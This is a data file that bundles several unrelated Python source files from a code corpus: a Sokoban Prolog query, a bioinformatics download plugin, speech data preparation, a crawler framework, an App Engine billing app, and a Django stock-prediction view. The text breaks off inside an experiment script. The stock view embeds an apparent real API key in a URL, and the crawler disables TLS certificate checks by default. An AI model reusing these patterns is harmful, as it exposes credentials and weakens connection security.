u\"{0}{1}\".format(self._dict.get(key), value)\r\n self._dict[key] = value\r\n\r\n # End load_from_ascii\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def save_as_ascii(self, filename):\r\n \"\"\"\r\n Save the replacement dictionary.\r\n\r\n @param filename (string)\r\n\r\n \"\"\"\r\n try:\r\n with codecs.open(filename, 'w', encoding=rutils.ENCODING) as output:\r\n for entry, value in sorted(self._dict.iteritems(), key=lambda x:x[0]):\r\n output.write(\"%s %s\"%(entry,value))\r\n except Exception as e:\r\n logging.debug('Save an ascii dict failed: %s'%str(e))\r\n return False\r\n\r\n return True\r\n\r\n # End save_as_ascii\r\n # ------------------------------------------------------------------------\r\n\r\n# End DictRepl\r\n# ----------------------------------------------------------------------------\r\n","sub_path":"sppas/src/resources/dictrepl.py","file_name":"dictrepl.py","file_ext":"py","file_size_in_byte":8571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"573248614","text":"from pyswip import Prolog\n\nprolog = Prolog()\n\nprolog.consult(\"sokoban.pl\")\n\n\ntops = \"[top(x1y1,x1y2),top(x1y2,x1y3),top(x2y1,x2y2),top(x2y2,x2y3),top(x3y1,x3y2),top(x3y2,x3y3)]\"\nrights = \"[right(x1y3, x2y3),right(x2y3, x3y3),right(x1y2, x2y2),right(x2y2, x3y2),right(x1y1, x2y1),right(x2y1, x3y1)]\"\nboxes = \"[box(x2y2),box(x3y2)]\"\nsolutions = \"[solution(x2y1),solution(x3y1)]\"\nsokoban = \"sokoban(x1y1)\"\n\n\nquery = \"solve([{},{},{},{},{}],Solution)\".format(tops, rights, boxes, solutions, sokoban)\nresult=list(prolog.query(query))\n\nfor i, r in enumerate(result):\n solution = r['Solution']\n print(\"Solution {}:\\n{}\".format(i, solution))\n","sub_path":"sokoban.py","file_name":"sokoban.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480466884","text":"import requests\nimport dateutil.parser\nimport logging\nimport re\nfrom yapsy.IPlugin import IPlugin\n\n\nclass BiomajUniclustDownloader(IPlugin):\n '''\n Requirements: python-dateutil, Yapsy\n '''\n\n def configure(self, options):\n self.regexp = None\n if 'regexp' in options:\n self.regexp = options['regexp']\n self.url = \"http://gwdu111.gwdg.de/~compbiol/uniclust\"\n\n def name(self):\n return \"uniclust\"\n\n def release(self):\n resp = requests.get('%s/current_release' % (self.url))\n if not resp.status_code == 200:\n raise Exception('Failed to get release from uniclust')\n data = resp.text\n match = re.search('href=\"%s\"' % (self.regexp), data)\n if not match:\n logging.exception('Failed to get release from uniclust')\n raise Exception('Failed to get release from uniclust')\n release = match.group(1)\n logging.debug(\"Plugin:Uniclust:Release: %s\" % (str(release)))\n return release\n\n def list(self, release_name=None):\n logging.info('Plugin:Uniclust:List:Release:%s' % (str(release_name)))\n if not release_name:\n logging.error('No release provided')\n return []\n url = '~compbiol/uniclust/%s/uniclust30_%s.tar.gz' % (release_name, release_name)\n\n resp = requests.head('%s/%s' % ('http://gwdu111.gwdg.de', url))\n if resp.status_code != 200:\n logging.exception('File does not seem to exists: http://gwdu111.gwdg.de/%s' % (url))\n raise Exception('Failed to find expected file')\n\n info = release_name.split('_')\n remote_files= [{\n 'name': url,\n 'save_as': 'uniclust30_%s.tar.gz' % (release_name),\n 'permissions': '',\n 'group': '',\n 'size': int(resp.headers['Content-Length']),\n 'year': int(info[0]),\n 'month': int(info[1]),\n 'day': 1,\n 'hash': None\n }]\n logging.info('Plugin:Uniclust:Files:%s' % (str(remote_files)))\n return remote_files\n\n\n#test = BiomajGithubDownloader()\n#test.configure({'repo': 'osallou/goterra-cli'})\n#test.release()\n#files = test.list()\n#print(\"=> %s\" % (str(files)))\n","sub_path":"uniclust.py","file_name":"uniclust.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"340527984","text":"#!/usr/bin/env python3\n\n# This script is called by local/make_dihard_2018_dev.sh, and it creates the\n# necessary files for DIHARD 2018 development directory.\n\nimport sys, os\n\ndef prepare_dihard_2018_dev(src_dir, data_dir):\n wavscp_fi = open(data_dir + \"/wav.scp\" , 'w')\n utt2spk_fi = open(data_dir + \"/utt2spk\" , 'w')\n segments_fi = open(data_dir + \"/segments\" , 'w')\n rttm_fi = open(data_dir + \"/rttm\" , 'w')\n reco2num_spk_fi = open(data_dir + \"/reco2num_spk\" , 'w')\n\n for subdir, dirs, files in os.walk(src_dir):\n for file in files:\n filename = os.path.join(subdir, file)\n if filename.endswith(\".lab\"):\n utt = os.path.basename(filename).split(\".\")[0]\n lines = open(filename, 'r').readlines()\n segment_id = 0\n for line in lines:\n start, end, speech = line.split()\n segment_id_str = \"{}_{}\".format(utt, str(segment_id).zfill(4))\n segments_str = \"{} {} {} {}\\n\".format(segment_id_str, utt, start, end)\n utt2spk_str = \"{} {}\\n\".format(segment_id_str, utt)\n segments_fi.write(segments_str)\n utt2spk_fi.write(utt2spk_str)\n segment_id += 1\n wav_str = \"{} sox -t flac {}/data/flac/{}.flac -t wav -r 16k \"\\\n \"-b 16 - channels 1 |\\n\".format(utt, src_dir, utt)\n wavscp_fi.write(wav_str)\n with open(\"{}/data/rttm/{}.rttm\".format(src_dir, utt), 'r') as fh:\n rttm_str = fh.read()\n rttm_fi.write(rttm_str)\n with open(\"{}/data/rttm/{}.rttm\".format(src_dir, utt), 'r') as fh:\n rttm_list = fh.readlines()\n spk_list = [(x.split())[7] for x in rttm_list] \n num_spk = len(set(spk_list))\n reco2num_spk_fi.write(\"{} {}\\n\".format(utt, num_spk))\n wavscp_fi.close()\n utt2spk_fi.close()\n segments_fi.close()\n rttm_fi.close()\n reco2num_spk_fi.close()\n return 0\n\ndef main():\n src_dir = sys.argv[1]\n data_dir = sys.argv[2]\n if not os.path.exists(data_dir):\n os.makedirs(data_dir)\n prepare_dihard_2018_dev(src_dir, data_dir)\n return 0\n\nif __name__==\"__main__\":\n main()\n","sub_path":"egs/dihard_2018/v1/local/make_dihard_2018_dev.py","file_name":"make_dihard_2018_dev.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"537762471","text":"import abc\nimport os\nimport time\nimport traceback\nfrom threading import Timer\nimport platform\nfrom copy import deepcopy\n\nfrom core.rediser import *\nfrom core.scheduler import GlobalScheduler\nfrom tools import utils\n\n\nclass BaseCrawler(abc.ABC):\n __metaclass__ = abc.ABCMeta\n\n def __init__(self,\n crawler_name,\n workers=1,\n concurrency=100,\n debug=False):\n \"\"\"\n Create crawler and sign up.\n :param crawler_name: Name of crawler\n :param workers: Number of worker to start\n :param concurrency: Max cooperate processes for worker\n :param debug: Crawler will raise error in debug mode\n \"\"\"\n\n self.__key_crawler = KEY_CRAWLER.format(crawler_name, pid=os.getpid())\n self.__crawler_name = crawler_name\n self.__crawler_pid = os.getpid()\n self.__debug = debug\n\n # sign up\n if redis_info.exists(self.__key_crawler):\n raise KeyError(f'crawler <{self.crawler_name}-{self.crawler_pid}> already exists')\n redis_info.hmset(self.__key_crawler, {\n NODE_NAME: platform.node(),\n NODE_SYSTEM: platform.system(),\n CRAWLER_NAME: self.crawler_name,\n CRAWLER_PID: self.crawler_pid,\n WORKER_NUM: workers,\n CONCURRENCY: concurrency,\n CREATE_AT: int(time.time()),\n LAST_HEARTBEAT: int(time.time()),\n DOWNLOADS_TOTAL: 0,\n DOWNLOADS_1MIN: 0,\n DOWNLOADS_60MIN: 0,\n DEBUG_MODE: debug,\n })\n\n @property\n def crawler_name(self):\n return self.__crawler_name\n\n @property\n def crawler_pid(self):\n return self.__crawler_pid\n\n def gen_request(self, url, callback, method='GET',\n params=None, data=None, json_=None,\n headers=None, cookies=None, proxies=None,\n timeout=30, meta=None, auth=None, encoding='utf-8',\n allow_redirects=True, verify=False, stream=None,\n binary=False, delay=0, max_retry=3):\n \"\"\"\n Generate request into redis.\n :param url: Url for this request(web request)\n :param callback: Name of callback function for the request. Set blank str('') if there's no callback\n :param method: Method for this request, support \"get\" and \"post\", lower and upper case both work\n :param params: Dict to be sent in the query string\n :param data: Form data to send\n :param json_: Json data to send\n :param headers: Dict of HTTP Headers to send\n :param cookies: Dict of cookies to send\n :param proxies: Dict mapping protocol to the URL of the proxy\n :param timeout: Seconds to wait before giving up this request\n :param meta: Context for your project, required\n :param auth: Auth tuple to enable Basic/Digest/Custom HTTP Auth\n :param encoding: Encode type for response parser\n :param allow_redirects: Enable/disable redirection\n :param verify: Boolean to enable/disable verify the server's TLS certificate, or a string of CA path\n :param stream: Whether to immediately download the response content\n :param binary: Set \"True\" for binary response\n :param delay: Seconds you want to delay the request\n :param max_retry: max retry times\n \"\"\"\n\n if callback and not hasattr(self, callback):\n raise AttributeError(f'callback \"{callback}\" not exists')\n if method.upper() != 'GET' and method.upper() != 'POST':\n raise ValueError('invalid method')\n\n request = {\n URL: url,\n CALLBACK: callback,\n METHOD: method.upper(),\n PARAMS: params,\n DATA: data,\n JSON: json_,\n HEADERS: headers,\n COOKIES: cookies,\n AUTH: auth,\n ENCODING: encoding,\n TIMEOUT: timeout,\n ALLOW_REDIRECTS: allow_redirects,\n PROXIES: proxies,\n STREAM: stream,\n VERIFY: verify,\n META: meta,\n BINARY: binary,\n MAX_RETRY: max_retry,\n RETRY: -1,\n }\n Timer(delay, add_request, args=[self.crawler_name, deepcopy(request)]).start()\n\n @abc.abstractmethod\n def init_crawler(self):\n \"\"\"Generate start urls.\"\"\"\n pass\n\n def start(self):\n \"\"\"Start crawler which will keep alive waiting for requests.\"\"\"\n\n # init crawler\n self.init_crawler()\n\n # start scheduler\n scheduler = GlobalScheduler(self.crawler_name, self.crawler_pid, self.patch_request, self.on_error)\n utils.start_child_thread(func=scheduler.start)\n\n # start crawler\n utils.log(f'init complete', 'crawler is running!')\n while True:\n key_response = KEY_RESPONSE.format(self.crawler_name)\n response = redis_response.rpop(key_response)\n if response is None:\n time.sleep(1)\n else:\n response = json.loads(response)\n try:\n callback = response[CALLBACK]\n if self.check_response(response) is True:\n continue\n else:\n getattr(self, callback)(response) if callback else None\n except Exception as error:\n request = response[REQUEST]\n info = traceback.format_exc()\n html = response[TEXT] if not request[BINARY] else 'binary file'\n\n self.on_error(request, response, error, info)\n if self.__debug:\n raise error\n utils.log(f'callback error', f'\\nhtml:{html}\\nrequest:{request}\\n{info}')\n\n def check_response(self, response):\n \"\"\"\n Override to check response before callback function.\n :return: return True to skip callback function\n \"\"\"\n pass\n\n @staticmethod\n def patch_request(request):\n \"\"\"\n This function must be staticmethod!\n Override to set dynamic params for request before using, eg: proxies, cookies, auth.\n :return: new request.\n \"\"\"\n return request\n\n @staticmethod\n def on_error(request, response, error, info):\n \"\"\"\n This function must be staticmethod!\n Override to handle error request & response.\n :param request: original request\n :param response: response dict\n :param error: error instance\n :param info: info\n \"\"\"\n pass\n","sub_path":"core/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":6649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"125046466","text":"\n\nfrom django.shortcuts import render_to_response, redirect\nfrom google.appengine.api import users\nfrom google.appengine.ext import db\nfrom django.http import Http404, HttpResponse\nfrom google.appengine.api import mail\n\nfrom pytz.gae import pytz\n\n\nimport logic\nimport gmodels\nimport mailer\nimport logging\n\n\nutc = pytz.utc\nsg_tz = pytz.timezone(\"Asia/Singapore\")\n\nADMIN_EMAIL = 'memoleaf@gmail.com'\n\n\ndef format_date(date):\n return date.replace(tzinfo=utc).astimezone(sg_tz).strftime(\"%Y-%m-%d %H:%M\")\n\n\ndef home(request):\n \n guser = users.get_current_user()\n if not guser:\n return redirect(users.create_login_url(request.path))\n \n user = logic.get_user(guser.email())\n \n logout_url = users.create_logout_url('/')\n admin = users.is_current_user_admin()\n\n peoples = gmodels.MUser.all().run(limit = 100)\n \n records = gmodels.SumRecord.all().order('-date').run(limit = 20)\n\n drecords = [] \n \n for r in records:\n nr = {};\n nr['date'] = format_date(r.date)\n nr['amount'] = r.amount\n nr['balance'] = r.balance\n nr['details'] = r.details\n drecords.append(nr)\n \n records = gmodels.BillingRecord.all().ancestor(user).order('-date').run(limit = 15)\n precords = []\n for r in records:\n nr = {};\n nr['date'] = format_date(r.date)\n nr['amount'] = r.amount\n nr['balance'] = r.balance\n nr['details'] = r.extra\n precords.append(nr)\n \n \n return render_to_response('home.html', locals())\n\n\ndef admin(request):\n guser = users.get_current_user()\n if not guser:\n return redirect(users.create_login_url(request.path))\n \n logic.init_mbank()\n logout_url = users.create_logout_url('/')\n \n user = logic.get_user(guser.email())\n peoples = gmodels.MUser.all().run(limit = 100)\n admin = users.is_current_user_admin()\n \n peoples = list(peoples)\n# peoples_new_bill = list(peoples)\n# peoples_topup = list(peoples)\n \n return render_to_response('admin.html', locals())\n\n\ndef new_bill(request):\n \n selected = request.POST.getlist('selected')\n emails = request.POST.getlist('email')\n extra_people = request.POST.getlist('extra_people')\n extra_amount = request.POST.getlist('extra_amount')\n \n amount = float(request.POST.get('amount'))\n \n overall = zip(emails, extra_people, extra_amount)\n raw_bills = {gmodels.RawBill(email, v1, v2) for (email, v1, v2) in overall if email in selected}\n \n result = logic.new_bill(amount, raw_bills)\n \n mailer.mail_new_bill(amount, result)\n\n return redirect(\"/\")\n\n\n\ndef new_user(request):\n name = request.POST.get(\"name\") \n email = request.POST.get(\"email\")\n \n logic.new_user(name, email)\n \n return redirect(\"/admin\")\n\n\ndef topup(request):\n email = request.POST.get('email')\n amount = float(request.POST.get('amount'))\n br, old_balance = logic.topup(amount, email)\n mailer.mail_topup(br, old_balance)\n \n return redirect(\"/admin\")\n \n \n \ndef queue_send_mail(request):\n addressee = request.POST.get('addressee')\n title = request.POST.get('title')\n body = request.POST.get('body')\n logging.info(\"sending mail: \" + str(locals()))\n mailer.send(addressee, title, body)\n return HttpResponse('done')\n\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"488446383","text":"import base64\nimport io\nimport json\nimport urllib\nimport requests\nimport PIL\nimport PIL.Image\nimport pandas as pd\nimport pandas_datareader as web\nfrom django.shortcuts import HttpResponse\nfrom django.shortcuts import render\nfrom keras.layers import Dense, LSTM\nfrom keras.models import Sequential\nfrom matplotlib import pylab\nfrom pylab import *\nfrom sklearn.preprocessing import MinMaxScaler\nfrom .forms import Portfolio\nfrom textblob import TextBlob\nfrom bs4 import BeautifulSoup\nfrom django.contrib.auth.models import auth\n\nplt.style.use('fivethirtyeight')\n'''\nimport math\nfrom django.contrib import messages\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom matplotlib.backends.backend_svg import FigureCanvas\nfrom matplotlib.figure import Figure\nfrom datetime import datetime\nimport tensorflow as tf\n'''\n\n\ndef about(request):\n return render(request, 'about.html')\n\n\ndef index(request):\n # if request.user.is_authenticated:\n if request.method == 'POST':\n search = request.POST['search']\n st_dis_name = search\n search = search.rpartition('.')[0]\n\n request_p = search\n ex = '.NS'\n st_name = request_p + ex\n end_date = datetime.date.today() - datetime.timedelta(days=1)\n end_date = end_date.strftime('%Y-%m-%d')\n df = web.DataReader(st_name, data_source='yahoo', start='2018-01-01', end=end_date)\n plt.figure(figsize=(16, 8))\n plt.title('Close Price History')\n plt.plot(df['Close'])\n plt.xlabel('Date', fontsize=18)\n plt.ylabel('Close Price in RS', fontsize=18)\n buffer = io.BytesIO()\n canvas = pylab.get_current_fig_manager().canvas\n canvas.draw()\n pil_image = PIL.Image.frombytes(\"RGB\", canvas.get_width_height(), canvas.tostring_rgb())\n pil_image.save(buffer, \"PNG\")\n buffer.seek(0)\n string = base64.b64encode(buffer.read())\n uri = 'data:image/png;base64,' + urllib.parse.quote(string)\n pylab.close()\n # volume graph\n plt.figure(figsize=(16, 8))\n plt.title('Volume')\n # plt.bar(df['Volume'])\n df['Volume'].plot(kind='bar')\n plt.xlabel('Date', fontsize=18)\n plt.ylabel('Volume in Cr', fontsize=18)\n buffer = io.BytesIO()\n canvas = pylab.get_current_fig_manager().canvas\n canvas.draw()\n pil_image = PIL.Image.frombytes(\"RGB\", canvas.get_width_height(), canvas.tostring_rgb())\n pil_image.save(buffer, \"PNG\")\n buffer.seek(0)\n string = base64.b64encode(buffer.read())\n uri1 = 'data:image/png;base64,' + urllib.parse.quote(string)\n pylab.close()\n\n # ANN---------------------------------------------------------------------------------------------------\n\n # create data frame with only the close\n data = df.filter(['Close'])\n # convert dataframe to numpy array\n dataset = data.values\n # Get the number of rows to tain the model on 80%\n training_data_len = math.ceil(len(dataset) * .8)\n # scale the data\n scaler = MinMaxScaler(feature_range=(0, 1))\n scaled_data = scaler.fit_transform(dataset)\n # CREATE TRAINING DATASET\n # CREATE SCALED TRAINING DATASET\n train_data = scaled_data[0:training_data_len, :]\n # SPLIT THE DATA INTO XTRAIN AND YTRAIN\n x_train = []\n y_train = []\n\n for i in range(60, len(train_data)):\n x_train.append(train_data[i - 60:i, 0])\n y_train.append(train_data[i, 0])\n # CONVERT THE X_TRAIN AND Y_TRAIN TO NUMPY ARRAY\n x_train = np.array(x_train)\n y_train = np.array(y_train)\n # RESHAPE THE DATA\n # 2D TO 3D\n x_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], 1))\n # BUILD LSTM MODEL\n model = Sequential()\n model.add(LSTM(50, return_sequences=True, input_shape=(x_train.shape[1], 1)))\n model.add(LSTM(50, return_sequences=False))\n model.add(Dense(25))\n model.add(Dense(1))\n # COMPILE THE MODEL\n model.compile(optimizer='adam', loss='mean_squared_error')\n # TRAIN THE MODELS\n model.fit(x_train, y_train, batch_size=1, epochs=1)\n # CREATE TESTING DATASET\n # CREATE A ARRAY CONTAINING SCALED VALUES\n test_data = scaled_data[training_data_len - 60:, :]\n # CREATE THE DATASET X_TEST AND Y_TEST\n x_test = []\n y_test = dataset[training_data_len:, :]\n for i in range(60, len(test_data)):\n x_test.append(test_data[i - 60:i, 0])\n # CONVERT DATA INTO NUMPY ARRAY\n x_test = np.array(x_test)\n # RESHAPE THE DATE\n x_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], 1))\n # Get the models predicted price values\n predictions = model.predict(x_test)\n predictions = scaler.inverse_transform(predictions)\n # Get the root mean squared error (RMSE)\n rmse = np.sqrt(np.mean(((predictions - y_test) ** 2)))\n\n # ANN Prediction Plot-----------------------------------------------------------------------------------\n\n # Plot the data\n train = data[:training_data_len]\n valid = data[training_data_len:]\n valid['Predictions'] = predictions\n # Visualize the data\n plt.figure(figsize=(16, 8))\n stock = 'NSE:' + request_p\n plt.title('ANN Prediction ')\n plt.xlabel('Date', fontsize=18)\n plt.ylabel('Close Price USD ($)', fontsize=18)\n plt.plot(train['Close'])\n plt.plot(valid[['Close', 'Predictions']])\n plt.legend(['Train', 'Test', 'Predictions'], loc='upper left')\n buffer = io.BytesIO()\n canvas = pylab.get_current_fig_manager().canvas\n canvas.draw()\n pil_image = PIL.Image.frombytes(\"RGB\", canvas.get_width_height(), canvas.tostring_rgb())\n pil_image.save(buffer, \"PNG\")\n buffer.seek(0)\n string = base64.b64encode(buffer.read())\n uri_pre = 'data:image/png;base64,' + urllib.parse.quote(string)\n pylab.close()\n\n # Get the quote\n quote = web.DataReader(st_name, data_source='yahoo', start='2019-01-01', end=end_date)\n # Create a new dataframe\n new_df = quote.filter(['Close'])\n # Get teh last 60 day closing price values and convert the dataframe to an array\n last_60_days = new_df[-60:].values\n # Scale the data to be values between 0 and 1\n last_60_days_scaled = scaler.transform(last_60_days)\n # Create an empty list\n X_test = [last_60_days_scaled]\n # Append teh past 60 days\n # Convert the X_test data set to a numpy array\n X_test = np.array(X_test)\n # Reshape the data\n X_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\n # Get the predicted scaled price\n pred_price = model.predict(X_test)\n # undo the scaling\n pred_price = scaler.inverse_transform(pred_price)\n\n if pred_price[0][0] < df['Close'][len(df) - 1]:\n pred_feedback = 'Sell'\n elif pred_price[0][0] > df['Close'][len(df) - 1]:\n pred_feedback = 'Buy'\n else:\n pred_feedback = 'Hold'\n\n # SMA Chart Logic -----------------------------------------------------------------------------\n\n def sma_chart():\n # create 30 days Moving Avarge\n SMA30 = pd.DataFrame()\n SMA30['Adj Close price'] = df['Adj Close'].rolling(window=30).mean()\n SMA200 = pd.DataFrame()\n SMA200['Adj Close price'] = df['Adj Close'].rolling(window=100).mean()\n data_a = pd.DataFrame()\n data_a['Adj Close'] = df['Adj Close']\n data_a['SMA30'] = SMA30['Adj Close price']\n data_a['SMA200'] = SMA200['Adj Close price']\n p = len(data_a)\n\n if data_a['SMA200'][p - 1] > df['Close'][len(df) - 1]:\n sma_feedback = \"Sell\"\n elif data_a['SMA200'][p - 1] < df['Close'][len(df) - 1]:\n sma_feedback = \"Buy\"\n else:\n sma_feedback = \"Hold\"\n\n def buy_sell(data_a):\n sigPriceBuy = []\n sigPriceSell = []\n flag = -1\n\n for i in range(len(data_a)):\n if data_a['SMA30'][i] < data_a['SMA200'][i]:\n if flag != 1:\n sigPriceBuy.append(data_a['Adj Close'][i])\n sigPriceSell.append(np.nan)\n flag = 1\n else:\n sigPriceBuy.append(np.nan)\n sigPriceSell.append(np.nan)\n elif data_a['SMA30'][i] > data_a['SMA200'][i]:\n if flag != 0:\n sigPriceBuy.append(np.nan)\n sigPriceSell.append(data_a['Adj Close'][i])\n flag = 0\n else:\n sigPriceBuy.append(np.nan)\n sigPriceSell.append(np.nan)\n else:\n sigPriceBuy.append(np.nan)\n sigPriceSell.append(np.nan)\n\n return sigPriceBuy, sigPriceSell\n\n # store Buy Sell Data in Variable\n buy_sell = buy_sell(data_a)\n data_a['Buy_Signal_Price'] = buy_sell[0]\n data_a['Sell_Signal_Price'] = buy_sell[1]\n # plot\n plt.figure(figsize=(16, 8))\n plt.plot(data_a['Adj Close'], label='Adj Close', alpha=0.25)\n plt.plot(SMA30['Adj Close price'], label='SMA30', alpha=0.25)\n plt.plot(SMA200['Adj Close price'], label='SMA200', alpha=0.50)\n plt.scatter(data_a.index, data_a['Sell_Signal_Price'], label='Sell', marker='v', color='red')\n plt.scatter(data_a.index, data_a['Buy_Signal_Price'], label='Buy', marker='^', color='green')\n plt.title('SMA Analysis')\n plt.xlabel('date')\n plt.ylabel('SMA Analysis')\n plt.legend(loc='upper left')\n buffer_a = io.BytesIO()\n canvas_a = pylab.get_current_fig_manager().canvas\n canvas_a.draw()\n pil_image_a = PIL.Image.frombytes(\"RGB\", canvas_a.get_width_height(), canvas_a.tostring_rgb())\n pil_image_a.save(buffer_a, \"PNG\")\n buffer_a.seek(0)\n string_a = base64.b64encode(buffer_a.read())\n sma_ch = 'data:image/png;base64,' + urllib.parse.quote(string_a)\n pylab.close()\n return sma_ch, sma_feedback\n\n sma = sma_chart()\n\n # News---------------------------------------------------------------------------------------------------------\n def news_fetch():\n def percentage(part, whole):\n return 100 * float(part) / float(whole)\n\n url = 'https://www.bing.com/news/search?q=' + search + '&qs=n&form=NWRFSH'\n\n headers = {\n \"User-Agent\": 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'\n }\n page = requests.get(url, headers)\n soup = BeautifulSoup(page.content, 'html.parser')\n noOfSearch = 10\n positive = 0\n negative = 0\n neutral = 0\n polarity = 0\n news_dir = {}\n\n for x in range(noOfSearch):\n title = soup.findAll('a', {'class': 'title'})[x]\n analysis = TextBlob(title.text)\n source = soup.findAll('div', {'class': 'source'})[x]\n news_dir[title.text] = source.text\n news_url = soup.findAll('a', href=True)[x]\n\n polarity += analysis.sentiment.polarity\n\n if analysis.sentiment.polarity == 0.000:\n neutral += 1\n\n elif analysis.sentiment.polarity < 0.000:\n negative += 1\n\n elif analysis.sentiment.polarity > 0.000:\n positive += 1\n\n positive = percentage(positive, noOfSearch)\n negative = percentage(negative, noOfSearch)\n neutral = percentage(neutral, noOfSearch)\n\n if polarity == 0:\n news_feedback = 'Hold'\n elif polarity < 0.000:\n news_feedback = 'Sell'\n elif polarity > 0.000:\n news_feedback = 'Buy'\n\n labels = ['Positive [' + str(positive) + '%]', 'Negative [' + str(negative) + '%]',\n 'Neutral [' + str(neutral) + '%]']\n sizes = [positive, negative, neutral]\n colors = ['lightblue', 'red', '#ffc107c2']\n patches, texts = plt.pie(sizes, colors=colors, startangle=90)\n plt.legend(patches, labels, loc=\"best\", prop={'size': 6})\n plt.title('Latest News Analysis ')\n plt.axis('equal')\n plt.tight_layout()\n buffer_a = io.BytesIO()\n canvas_a = pylab.get_current_fig_manager().canvas\n canvas_a.draw()\n pil_image_a = PIL.Image.frombytes(\"RGB\", canvas_a.get_width_height(), canvas_a.tostring_rgb())\n pil_image_a.save(buffer_a, \"PNG\")\n buffer_a.seek(0)\n string_a = base64.b64encode(buffer_a.read())\n news_feed = 'data:image/png;base64,' + urllib.parse.quote(string_a)\n pylab.close()\n\n return news_feed, news_dir, news_feedback, news_url\n\n news = news_fetch()\n # json-----------------------------------------------------------------------------------------------------------------------------------------------------\n api_request = requests.get(\n \"https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol=BSE:\" + search + \"&apikey=BP39EYKNTFWF2FOF\")\n try:\n api = json.loads(api_request.content)\n st_name = api[\"Global Quote\"]\n except Exception as e:\n st_name = \"Error\"\n\n stock_info = {'symbol': st_name['01. symbol'],\n 'open': st_name['02. open'],\n 'high': st_name['03. high'],\n 'low': st_name['04. low'],\n 'price': st_name['05. price'],\n 'volume': st_name['06. volume'],\n 'ltrday': st_name['07. latest trading day'],\n 'pclose': st_name['08. previous close'],\n 'change': st_name['09. change'],\n 'changep': st_name['10. change percent'],\n 'image': uri,\n 'image_pre': uri_pre,\n 'ca': pred_price,\n 'uri1': uri1,\n 'sma_ch': sma[0],\n 'pia_chart': news[0],\n 'news': news[1],\n 'news_feedback': news[2],\n 'pred_feedback': pred_feedback,\n 'sma_feedback': sma[1],\n 'dis_name': st_dis_name,\n 'news_url': news[3]\n }\n\n return render(request, 'index.html', stock_info)\n else:\n return render(request, 'index.html', {'note': 'Please Enter Name'})\n\n\n# else:\n# return render(request, 'about.html')\n\n\ndef add(request):\n if request.method == 'POST':\n folio = Portfolio(request.POST or None)\n if folio.is_valid():\n folio.save()\n # messages.success(request, \"stock has been added\")\n return HttpResponse(\"Successfully Saved in DB\")\n else:\n return HttpResponse(\"NOT Saved in DB\")\n\n else:\n return render(request, 'add_stocks.html')\n\n\ndef sCheck(request):\n return render(request, 'sCheck.html')\n\n\n'''\n if pred_price[0][0] < st_name['05. price']:\n pred_feedback = 'Sell'\n elif pred_price[0][0] > st_name['05. price']:\n pred_feedback = 'Buy'\n else:\n pred_feedback = 'Hold'\n \n \n \n \n if data_a['SMA200'][p - 1] > st_name['05. price']:\n sma_feedback = 'Sell'\n elif data_a['SMA200'][p - 1] < st_name['05. price']:\n sma_feedback = 'Buy'\n else:\n sma_feedback = 'Hold'\n'''\n","sub_path":"Data/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"218412395","text":"import sys\nimport os\nimport dlib\nimport numpy as np\nfrom PIL import Image\n\nif __name__ == \"__main__\":\n try:\n recipe_filepath = os.environ.get('RECIPE_DIR', os.path.dirname(os.path.abspath(__file__)))\n lena_path = os.path.join(recipe_filepath, 'lena.png')\n \n lena = np.array(Image.open(lena_path))\n detector = dlib.get_frontal_face_detector()\n results = detector(lena)\n \n print('Found {} faces'.format(len(results)))\n assert(len(results) == 1)\n except Exception as e:\n print(e)\n sys.exit(1)\n\n","sub_path":"conda/run_test.py","file_name":"run_test.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"9242927","text":"# 进行随机sample试验\n# d1,标签均匀性\n# d2,标签相似性\n# d3.拓扑分析\nimport datetime\nimport json\nimport os\nimport random\nimport time\n\nimport keras\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\n\nfrom neural_cov import CovInit\n\nplt.switch_backend('agg')\nimport numpy as np\nimport pandas as pd\nfrom keras import backend as K\nfrom keras.engine.saving import load_model\n\nimport cov_config\nimport data_gener\nimport model_conf\nimport deepdiv\nfrom utils import train_model, shuffle_data\n\n\n###\n# 工具函数\n#\n\n# 输出配置信息\ndef param2txt(file_path, msg):\n f = open(file_path, \"w\")\n f.write(msg)\n f.close\n\n\n# 创建一个实验文件夹\ndef mk_exp_dir(params):\n # 6.进行试验\n ## 6.1 创建文件夹并储存该次参数文件\n base_path = \"./result\"\n pair_name = model_conf.get_pair_name(params[\"data_name\"], params[\"model_name\"])\n dir_name = datetime.datetime.now().strftime(\"%m%d%H%M\") + \"_\" + exp_name + \"_\" + pair_name\n txt_name = pair_name + \".txt\"\n base_path = base_path + \"/\" + dir_name\n if not os.path.exists(base_path):\n os.mkdir(base_path)\n txt_path = base_path + \"/\" + txt_name\n param2txt(txt_path, json.dumps(params, indent=1))\n\n return base_path\n\n\ndef add_df(df, csv_data):\n if df is None: # 如果是空的\n df = pd.DataFrame(csv_data, index=[0])\n else:\n df.loc[df.shape[0]] = csv_data\n return df\n\n\n###\n# 准备数据\n# 训练集 5w不变 测试集1w\n# 从测试集里 2000 5000 ...\n# 观察该次测试里 指标的覆盖率 和 发现的错误用例数量\n#\n\n\ndef get_select_data(x_ori_test, y_ori_test, x_dau_test, y_dau_test, 